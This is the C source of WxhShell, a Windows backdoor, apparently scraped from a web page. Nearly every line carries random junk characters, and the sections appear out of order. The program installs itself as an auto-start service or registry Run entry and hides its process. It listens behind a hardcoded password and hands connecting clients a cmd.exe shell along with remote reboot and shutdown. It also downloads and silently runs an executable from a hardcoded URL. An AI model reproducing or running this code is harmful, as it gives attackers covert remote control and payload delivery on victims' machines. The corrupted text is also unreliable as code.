  // 关机 aE&,]'6  
  case 'd': { m#PY,y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y^8C)p9r  
    if(Boot(SHUTDOWN)) K?B{rE Lp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b\vKJ2  
    else { )vjh~ybZ  
    closesocket(wsh); ;V*R*R  
    ExitThread(0); }XV+gyG=@  
    } #(#Wv?r6  
    break; 'IZI:V"  
    } B$ajK`x&I  
  // 获取shell .aAL]-Rj  
  case 's': { u frW\X  
    CmdShell(wsh); i'H/ZwU  
    closesocket(wsh); ?Z Rs\+{vG  
    ExitThread(0); OGde00  
    break; \r /ya<5  
  } b J=Jg~&  
  // 退出 TUV&vz{  
  case 'x': { ,SynnE68  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -8:&>~4`  
    CloseIt(wsh); Ghx3EVqnx"  
    break; E^ P,*s  
    } q|o}+Vr  
  // 离开 DoJ\ q+  
  case 'q': { J&[@}$N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,0*&OXt  
    closesocket(wsh); t2F _uCr  
    WSACleanup(); k2c}3 MeP  
    exit(1); 6x h:/j3  
    break; xy5lE+E_U  
        } ,&j hlZ i  
  } a`&f  
  } { /K.3  
WN{ 9  
  // 提示信息 cik!GA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "!Uqcay-  
} x(hE3S#+  
  } YQ+tDZY8`  
#E? (vA1  
  return; Mr;E<Lj ^K  
} VL% UR{  
~$iIVJ`  
// shell模块句柄 P3cRl']  
int CmdShell(SOCKET sock) _LMM,!f  
{ 4 Y ;Nm1 @  
STARTUPINFO si; Mn9dqq~a  
ZeroMemory(&si,sizeof(si)); "uuVy$6C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; so"$m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Izhee%c  
PROCESS_INFORMATION ProcessInfo; ,sA[)wP{  
char cmdline[]="cmd"; G;v8$)Zj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #33fGmd[  
  return 0; jhXkSj  
} Q<h-FW8z  
yaah*1ip[  
// 自身启动模式 xC*6vH]?  
int StartFromService(void) T*#/^%HSG  
{ @ zs'Y8  
typedef struct ,4zmb`dP<  
{ U]^HjfX\  
  DWORD ExitStatus; *AoR==:ya  
  DWORD PebBaseAddress; O4r0R1VQM  
  DWORD AffinityMask; NLUT#!Gr  
  DWORD BasePriority; FME3sa$  
  ULONG UniqueProcessId; _A+s)]}  
  ULONG InheritedFromUniqueProcessId; B^j  
}   PROCESS_BASIC_INFORMATION; jT8#C=a7  
wF <n=  
PROCNTQSIP NtQueryInformationProcess; XWA:J^  
D2](da:]8)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N}pw74=1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [q/Abz'i  
H<v'^*(  
  HANDLE             hProcess; ln?v j)j  
  PROCESS_BASIC_INFORMATION pbi; ;'5>q&[qbP  
(d(hR0HKE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AvdXEY(-  
  if(NULL == hInst ) return 0; 7![,Q~Fy  
M,/mE~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o*DN4oa)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rG4';V^q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gnfd;. (.  
4US"hexE<  
  if (!NtQueryInformationProcess) return 0; #0ETY\}ZD  
S{;sUGcu  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pl=ZRKn  
  if(!hProcess) return 0; R%Q@   
b~'"^ Bts*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GliwY_  
k.uMp<)D  
  CloseHandle(hProcess); zaah^.MA|  
MYla OT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^Wc@oa`  
if(hProcess==NULL) return 0; 0Uo\wyd  
?Cl%{2omO  
HMODULE hMod; |K.mP4CKY  
char procName[255]; Qa.<K{m#?  
unsigned long cbNeeded; EQf[,  
(iL|Sq&}b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -i)ZQCE  
ny`#%Vs  
  CloseHandle(hProcess); NF+iza;DP  
2^^`n1?'  
if(strstr(procName,"services")) return 1; // 以服务启动 9?0^ap,T  
``ou/Z  
  return 0; // 注册表启动 JBJhG<J  
}  _59huC.  
g=QDu7Ux  
// 主模块  c|M6 <}  
int StartWxhshell(LPSTR lpCmdLine) UD8op]>L  
{ xZ6~Ma 2z  
  SOCKET wsl; vH#huZA?7  
BOOL val=TRUE; g=;%  
  int port=0; |2abmuR0  
  struct sockaddr_in door; QV {}K  
K{[%7AM  
  if(wscfg.ws_autoins) Install(); '7+4`E  
cIav&Zko  
port=atoi(lpCmdLine); $u9K+>.  
,wIONDnLZ  
if(port<=0) port=wscfg.ws_port; rcMwFE?|xq  
+n#V[~~8AI  
  WSADATA data; $e*ce94  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m|{3),#V  
~C>?W[Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TNGU6j}oq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BsEF'h'Owh  
  door.sin_family = AF_INET; hS)'a^FV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); huJ&]"C  
  door.sin_port = htons(port); jg.QRny^  
Y8o)FVcyNy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qk,I^1w?7  
closesocket(wsl); ch0{+g&  
return 1; t0IEaj75c  
} <-[wd.M_  
)rekY;  
  if(listen(wsl,2) == INVALID_SOCKET) { D|Q#gcWpo  
closesocket(wsl); ,6om\9.E@  
return 1; 3wC' r  
} :.$3vaZ@  
  Wxhshell(wsl); }[ 4r4 1[  
  WSACleanup(); ~g5[$r-u-u  
6"~P/\jP  
return 0; F;+|sMrq  
~S8*t~  
} P*I}yPeb  
Cn "s` q  
// 以NT服务方式启动 1(|'WyD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1`a5C.v  
{ C!fMW+C@  
DWORD   status = 0; BFo5\l:q8  
  DWORD   specificError = 0xfffffff; LUqB&,a}  
Y*H|?uNF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; go'-5in(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Mdl{}P0)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; maXG:l|  
  serviceStatus.dwWin32ExitCode     = 0; ;4.!H,d  
  serviceStatus.dwServiceSpecificExitCode = 0; 4A_[PM  
  serviceStatus.dwCheckPoint       = 0; A1.7 O  
  serviceStatus.dwWaitHint       = 0; zmSUw}-4 N  
_Em.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {= F /C,-  
  if (hServiceStatusHandle==0) return; " N9 <wU  
8 0Gn%1A9  
status = GetLastError(); g7O qX \  
  if (status!=NO_ERROR) g K[YQXfTy  
{ @te!Jgu{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .=X}cJ]`[  
    serviceStatus.dwCheckPoint       = 0; uf&myV7  
    serviceStatus.dwWaitHint       = 0; [%77bv85.G  
    serviceStatus.dwWin32ExitCode     = status; x "^Xj]-  
    serviceStatus.dwServiceSpecificExitCode = specificError; P] UJ0b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "4uS3h2r  
    return; C/TF-g-_Y  
  } e> (<eu~P  
TWQG591  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f!!V${)X  
  serviceStatus.dwCheckPoint       = 0; X@K-^8  
  serviceStatus.dwWaitHint       = 0; P!+'1KR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yIDD@j=l  
} \}p6v}  
( 5tvfz%  
// 处理NT服务事件,比如:启动、停止 G0^2Wk[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6~1|qEe6I  
{ o1FF"tLkN  
switch(fdwControl) y0'Rmk,  
{  PYM(Xz$  
case SERVICE_CONTROL_STOP: vK _?<>  
  serviceStatus.dwWin32ExitCode = 0; a hR ^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; A-T]9f9  
  serviceStatus.dwCheckPoint   = 0; rdJ d#S  
  serviceStatus.dwWaitHint     = 0; XT@-$%u  
  { Gu2P\I2zx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); & 8l%T'gd  
  } M;p em<  
  return; IHJ=i-  
case SERVICE_CONTROL_PAUSE: oAPb*;}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H\qC["  
  break; YN!>}  
case SERVICE_CONTROL_CONTINUE: FE2f'e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &Nczv"TM  
  break; 2\7`/,U6  
case SERVICE_CONTROL_INTERROGATE: :k.NbN$i\  
  break; ML( E o  
}; L:1^Kxg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MD|5 ol9  
} ;S57w1PbVA  
&:, dJ  
// 标准应用程序主函数 jF=gr$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1Dv R[Lx%  
{ {`K m_<Te!  
QrYpZZ;  
// 获取操作系统版本 * v75O7l  
OsIsNt=GetOsVer(); 59O?_F9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WIv?}gi: X  
=y/8 ^^  
  // 从命令行安装 i1>- QDYnJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); DRc)iE>@  
; =X P&  
  // 下载执行文件 yjhf   
if(wscfg.ws_downexe) { :&:JTa1cv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $D}{]MN.  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5lm<%  
} [$ejp>'Ud  
t=-SH^$SR  
if(!OsIsNt) { /Rg*~Ers *  
// 如果时win9x,隐藏进程并且设置为注册表启动 op6CA"w  
HideProc(); .R9IL-3fO  
StartWxhshell(lpCmdLine); q~*t@  
} XI9js{p  
else unBy&?&p  
  if(StartFromService()) A` AaTP  
  // 以服务方式启动 =9"W@n[>W  
  StartServiceCtrlDispatcher(DispatchTable); T)Y=zIQ1]7  
else j& <i&  
  // 普通方式启动 6Qx#%,U^ J  
  StartWxhshell(lpCmdLine); 8'f4 Od ?  
IiZ&Pr  
return 0; -mRA#  
} ,;(PwJe  
pGK;1gVj  
&&VqD w  
yb/%?DNQT  
=========================================== 3Ei5pX=g  
'ul~7h;n  
Ygl%eP%Z  
}C#;fp"L  
R8T] 2?Q1  
'*k'i;2/1  
" tWoh''@#  
mGGsB5#w>  
#include <stdio.h> E5N{j4\F  
#include <string.h> ea~:}!-P  
#include <windows.h> OBP1B@|l$+  
#include <winsock2.h> 2c:#O%d(  
#include <winsvc.h> a)#1{JaoY  
#include <urlmon.h> *H.oP  
R hvfC5Hq  
#pragma comment (lib, "Ws2_32.lib") "B8"_D&  
#pragma comment (lib, "urlmon.lib") Ns[ym>x#2  
S}ECW,K  
#define MAX_USER   100 // 最大客户端连接数 ]f_6 '|5 A  
#define BUF_SOCK   200 // sock buffer 9> g,  
#define KEY_BUFF   255 // 输入 buffer W"k8KODOY  
Ce")[<:  
#define REBOOT     0   // 重启 6'RrQc=q  
#define SHUTDOWN   1   // 关机 gF5a5T,  
Tp9- niW  
#define DEF_PORT   5000 // 监听端口 |)K]U  
h?FmBK'BAd  
#define REG_LEN     16   // 注册表键长度 L[20m (6?  
#define SVC_LEN     80   // NT服务名长度 NbGV1q']  
|R#"Th6mH!  
// 从dll定义API n Ml%'[u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0#YX=vjX7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $LLA,?;!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `p7&> BOA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K%Rj8J7|u?  
SY^dWLf  
// wxhshell配置信息 rJ!{/3e  
struct WSCFG { NM6Teu_  
  int ws_port;         // 监听端口 P b]3&!a  
  char ws_passstr[REG_LEN]; // 口令 e4z1`YLsG  
  int ws_autoins;       // 安装标记, 1=yes 0=no +5&wOgx  
  char ws_regname[REG_LEN]; // 注册表键名 4|`Bq}sjZf  
  char ws_svcname[REG_LEN]; // 服务名 W!"}E%zx   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MiRdX#+Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x"CZ]p&m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o)[2@fRC(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }oKG}wgY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3t0[^cY8=z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 en:4H   
 aKd+CO:  
}; 5n ^TRB  
^-a8V'  
// default Wxhshell configuration d'|, [p  
struct WSCFG wscfg={DEF_PORT, viAMr"z  
    "xuhuanlingzhe", jOyvDY9\  
    1, j $TwL;  
    "Wxhshell", ]d]JXt?)i  
    "Wxhshell", A,) VM9M_l  
            "WxhShell Service", >N?2""  
    "Wrsky Windows CmdShell Service", yx<WSgWZ[  
    "Please Input Your Password: ", Qo1eXMW  
  1, vYU;_R  
  "http://www.wrsky.com/wxhshell.exe", VT.;:Q  
  "Wxhshell.exe" TcGoSj<Z  
    }; s9>(Jzcf9  
2*w:tT8+X  
// 消息定义模块 ]l(wg]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; | /|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `WOYoec   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yj$TPe_BW  
char *msg_ws_ext="\n\rExit."; ,.o<no  
char *msg_ws_end="\n\rQuit."; U7DCx=B  
char *msg_ws_boot="\n\rReboot..."; G5,~Z&}YS  
char *msg_ws_poff="\n\rShutdown..."; )|I5j];L  
char *msg_ws_down="\n\rSave to "; wfP5@!I  
"sKa`WN}  
char *msg_ws_err="\n\rErr!"; u^j {U}  
char *msg_ws_ok="\n\rOK!"; MCP "GZK6W  
`W-&0|%Ta  
char ExeFile[MAX_PATH]; @YH+c G|  
int nUser = 0; nWvuaQ0}  
HANDLE handles[MAX_USER]; V&|!RxWK  
int OsIsNt; rJo"fx  
/2m?15c+  
SERVICE_STATUS       serviceStatus; wCHR7X0*b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 033T>qY  
 N<L`c/  
// 函数声明 2PR^:h2  
int Install(void); ;=< ^0hxer  
int Uninstall(void); ~Gqno  
int DownloadFile(char *sURL, SOCKET wsh); 5c;h &  
int Boot(int flag); Zv_jy@k  
void HideProc(void); C P3<1~  
int GetOsVer(void); er.CDKD%L  
int Wxhshell(SOCKET wsl); :vL1}H<  
void TalkWithClient(void *cs); 1H,g=Y4f%  
int CmdShell(SOCKET sock); 7 ua6l[c  
int StartFromService(void); 8v)_6p(<x8  
int StartWxhshell(LPSTR lpCmdLine); EOoZoVdzx  
O`$#Pg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zj|/ CxV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3<?XTv-  
P(>(K{v  
// 数据结构和表定义 iHp\o=#  
SERVICE_TABLE_ENTRY DispatchTable[] = 4"vaMa  
{ 2F8|I7R  
{wscfg.ws_svcname, NTServiceMain}, ((rv]f{  
{NULL, NULL} =]>NDWqpHN  
}; =9LC<2  
f):~8_0b  
// 自我安装 R4<lln:[  
int Install(void) z1!6%W_.  
{ o y<J6  
  char svExeFile[MAX_PATH]; 2 /y}a#s  
  HKEY key; oR*=|B  
  strcpy(svExeFile,ExeFile); K$ v"Uk  
vLO&Lpv  
// 如果是win9x系统,修改注册表设为自启动 /"ymZI!k\  
if(!OsIsNt) { F#{gfh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (Bo bB]~a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w&BGJYI  
  RegCloseKey(key); <g9"Cr`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cW``M.d'F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w#^U45y1v  
  RegCloseKey(key); .!}hhiF,Z  
  return 0; /i)Hb`(S  
    } ? &zQa xD  
  } T#O??3/%$1  
} 5=KF!?  
else { h~7,`fo  
0"g@!gSrQ  
// 如果是NT以上系统,安装为系统服务 YGsS4ia*4i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m/`IGT5J  
if (schSCManager!=0) fRm}S>Nibb  
{ p[WX'M0f  
  SC_HANDLE schService = CreateService y>\S@I  
  ( F pt-V  
  schSCManager, &&L"&Rc  
  wscfg.ws_svcname, nVD Xj  
  wscfg.ws_svcdisp, @1R8 -aa-r  
  SERVICE_ALL_ACCESS, jLcHY-P0V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xiyxr R;  
  SERVICE_AUTO_START, wE).>  
  SERVICE_ERROR_NORMAL, 89cVJ4]g~!  
  svExeFile, L<(VG{)Z  
  NULL, Zwe[_z!*D  
  NULL, k*-NsNPw$  
  NULL, 3hq1yyec  
  NULL, #\bP7a +  
  NULL XtBMp=7Oa  
  ); dZ :r&Qa  
  if (schService!=0) c#b:3dXx9  
  { \%,&~4 !  
  CloseServiceHandle(schService); W>spz~w%j  
  CloseServiceHandle(schSCManager); eFTX6XB:i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6(sIYZ2yq  
  strcat(svExeFile,wscfg.ws_svcname); S2~@nhO`U(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { THhy~wC".  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v6e%#=  
  RegCloseKey(key); NE"jh_m-  
  return 0; AH.9A_dG  
    } xfSG~csoz  
  } /'y5SlE[J  
  CloseServiceHandle(schSCManager); i=v]:TOu  
} fY2wDD  
} |ZU#IQVQfn  
S*%iiD)  
return 1; #  nfI%  
} 7SI)1_%G  
ke/_k/  
// 自我卸载 W'_/6_c$!  
int Uninstall(void)  r@T| e  
{ EaS~`  
  HKEY key; S=gW(c2'  
2w?G.pO#  
if(!OsIsNt) { dm R3Y.\jd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] mj v;C  
  RegDeleteValue(key,wscfg.ws_regname); )u@t.)ChAV  
  RegCloseKey(key); b"8FlZ$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8U.$FMx :  
  RegDeleteValue(key,wscfg.ws_regname); za,2r^  
  RegCloseKey(key); 6CNS%\A  
  return 0; ^{[`=P'/  
  } U  5`y  
} @~jxG%y86  
} /aUFc'5  
else { Wy)('EM  
nE<J`Wo$f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dKe@JQ+-z  
if (schSCManager!=0) x=3I)}J(kn  
{ Ij$)RSPtH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]xB6cPdLu  
  if (schService!=0) {Vl"m 2  
  { SbJh(V-pr  
  if(DeleteService(schService)!=0) { ]1Qi=2'  
  CloseServiceHandle(schService); ;5RIwD  
  CloseServiceHandle(schSCManager); ;7 "Y?*{  
  return 0; oF&IC j0  
  } Z`"n:'&  
  CloseServiceHandle(schService); *C/KM;&  
  } / T#o<D  
  CloseServiceHandle(schSCManager); gDc]^K4>  
} % 9YA^ri  
} (lWKy9eTy`  
1?]J;9p  
return 1; QZYM9a>  
} sBB:$X  
}u7D9_KU  
// 从指定url下载文件 \"bLE0~  
int DownloadFile(char *sURL, SOCKET wsh) }JJ::*W2n  
{ Dzm qR0)  
  HRESULT hr; 9>zDJx  
char seps[]= "/"; 8"pA9Mr  
char *token; s|p(KWo2U  
char *file; Wlxk  
char myURL[MAX_PATH]; 5YLho2h38!  
char myFILE[MAX_PATH]; 5z[6rT=a  
7\ZL  
strcpy(myURL,sURL); .n=xbx:=  
  token=strtok(myURL,seps); ~{Ua92zV9  
  while(token!=NULL) (77Dif0)'  
  { X?_v+'G  
    file=token; P ]_Vz  
  token=strtok(NULL,seps); mlmnkgl ]  
  } X{|k<^:  
SFOQM*H  
GetCurrentDirectory(MAX_PATH,myFILE); ]N_140N~  
strcat(myFILE, "\\"); zPA>af~Ej  
strcat(myFILE, file); uyvskz\  
  send(wsh,myFILE,strlen(myFILE),0); ;9Hz{ej  
send(wsh,"...",3,0); ^zkd{ov  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `O jvt-5}E  
  if(hr==S_OK) J b|mXNcL  
return 0; n_ OUWvs  
else `C ?a  
return 1; Cb<~i  
tl2Lq0  
} 9`E-dr9  
1URT2$2p  
// 系统电源模块 SaTEZ.  
int Boot(int flag) 7~ILRj5Nq  
{ \J\vp0[nO}  
  HANDLE hToken; g<;Nio  
  TOKEN_PRIVILEGES tkp; r$Kh3EEF`E  
r ufRaar  
  if(OsIsNt) { @D2`*C9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vatx+)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~mW>_[RT;  
    tkp.PrivilegeCount = 1; CVi<~7Am\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 79y'Ja+`j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ) +*@AM E  
if(flag==REBOOT) { rjt O`Mt`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y}*Ctdrl  
  return 0; Iy-u`S  
} :r[W'h_%  
else { #0xm3rFy4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w2s,  
  return 0; >l6XZQ >  
} &<m WA]cAL  
  } C}|O#"t^\  
  else { Q9SPb6O2  
if(flag==REBOOT) { L'zdsa}Et  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QZ_nQ3K  
  return 0; )bF)RL Z  
} if\k[O 1T6  
else { &Qz"nCvJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 48W:4B'l9  
  return 0; _zAc 5rS  
} Uia)5zz8  
} t^dakL  
&fh.w]\  
return 1; K1CMLX]m  
} sz){uOI  
q|m#IVc  
// win9x进程隐藏模块 0R.Gjz*Q  
void HideProc(void) z2$F Yn Q  
{ zkw0jX~  
tVK?VNW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !hpTyO+%  
  if ( hKernel != NULL ) *T1L )Cp  
  { 9$}+-Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); axt6u)4%7:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k0Oc,P`'*  
    FreeLibrary(hKernel); a .B\=3xn  
  } PLl x~A  
#nt<j2}m  
return; <L[  *hp  
} Zz wZ, (  
9~*_(yjF  
// 获取操作系统版本 r5<e}t-  
int GetOsVer(void) rGP? E3  
{ 9;'>\ImI  
  OSVERSIONINFO winfo; V~tu<"%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E9 :|8#b  
  GetVersionEx(&winfo); Xb8:*Y1'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q|zE@nLS  
  return 1; C]{V%jU  
  else E$oA+n~  
  return 0; R;N>#_9HU  
} ,(5dQ`hA0  
~j\;e  
// 客户端句柄模块  yS(=eB_  
int Wxhshell(SOCKET wsl) M<hs_8_*  
{ bDcWb2 lqs  
  SOCKET wsh; JRcuw'8+q  
  struct sockaddr_in client; Fb $5&~d  
  DWORD myID; ?.|wfBI  
:$u{  
  while(nUser<MAX_USER) F\YcSDM  
{ ;FIMCJS  
  int nSize=sizeof(client); yBD.Cs@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?`BED6$`G9  
  if(wsh==INVALID_SOCKET) return 1; +;4AG::GN  
'bQ s_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;nHo%`Zt  
if(handles[nUser]==0) _dB0rsCnU%  
  closesocket(wsh); 3L\s8O  
else O=9VX  
  nUser++; p>w~T#17  
  } WL*W=(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ve')LY<  
9X*eE  
  return 0; P"[l86:  
} zrWq!F*-V\  
 K{7S  
// 关闭 socket .LhbhUEfn  
void CloseIt(SOCKET wsh) OQX{<pQ6  
{ 9# .NPfMF  
closesocket(wsh); EIVQu~,H  
nUser--; Q?I"J$]&L  
ExitThread(0); ADJ5ZD<Q  
} dk, I?c &  
:9O0?6:B|  
// 客户端请求句柄  Cq~ah  
void TalkWithClient(void *cs) S{r)/ ~/  
{ zMHf?HQ-Z  
<aQ; "O~   
  SOCKET wsh=(SOCKET)cs; M<|~MR  
  char pwd[SVC_LEN]; 1\7"I-  
  char cmd[KEY_BUFF]; 'AlSq:gZ  
char chr[1]; |] f"j':  
int i,j; JJZXSBAOU  
9  lazo  
  while (nUser < MAX_USER) { V.G9J!?<P  
MX< ($M  
if(wscfg.ws_passstr) { *j|Tm7C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8-l)TTP&.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  C.TCDl  
  //ZeroMemory(pwd,KEY_BUFF); Qe=Q8cT  
      i=0; O (sFs1  
  while(i<SVC_LEN) { 1x<rh\oo  
=.=. \K  
  // 设置超时 \]d*h]Hms  
  fd_set FdRead; b~jvmcr  
  struct timeval TimeOut; Rc m(Y7  
  FD_ZERO(&FdRead); "Jv,QTIcS  
  FD_SET(wsh,&FdRead); I! eSJTN  
  TimeOut.tv_sec=8; H:nu>pz t  
  TimeOut.tv_usec=0; FlA$G3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ![MDmt5Ub^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9gIJX?  
}C2i#;b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ne%OTr 4dD  
  pwd=chr[0]; >c'_xa?^G  
  if(chr[0]==0xd || chr[0]==0xa) { \~1zAiSd>#  
  pwd=0; K Lv  
  break; 3B_} :  
  } 4Hd@U&E  
  i++; 7=ga_2  
    } >kLH6.  
(nZ=9+j]d  
  // 如果是非法用户,关闭 socket h ?qYy$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U8I~co:h  
} aPP<W|Cmo2  
2g07wJ6x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); laRKt"A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (NWN&  
e4_aKuA  
while(1) { N55=&-p  
06W=(fY  
  ZeroMemory(cmd,KEY_BUFF); K]]r OF  
~!+h"%'t  
      // 自动支持客户端 telnet标准   'C?f"P:X{  
  j=0; 01d26`G$i~  
  while(j<KEY_BUFF) { `?|]:7'<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M6d w~0e  
  cmd[j]=chr[0]; !JQ~r@j  
  if(chr[0]==0xa || chr[0]==0xd) { ;<GTtt# D  
  cmd[j]=0; _"t.1+-K  
  break; %TggNU,  
  } }oxaB9r  
  j++; ";Xbr;N  
    } 0FR%<u  
).`a-Pv  
  // 下载文件 RxeRO2  
  if(strstr(cmd,"http://")) { )A+j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m_U6"\n 5  
  if(DownloadFile(cmd,wsh)) z=h5  
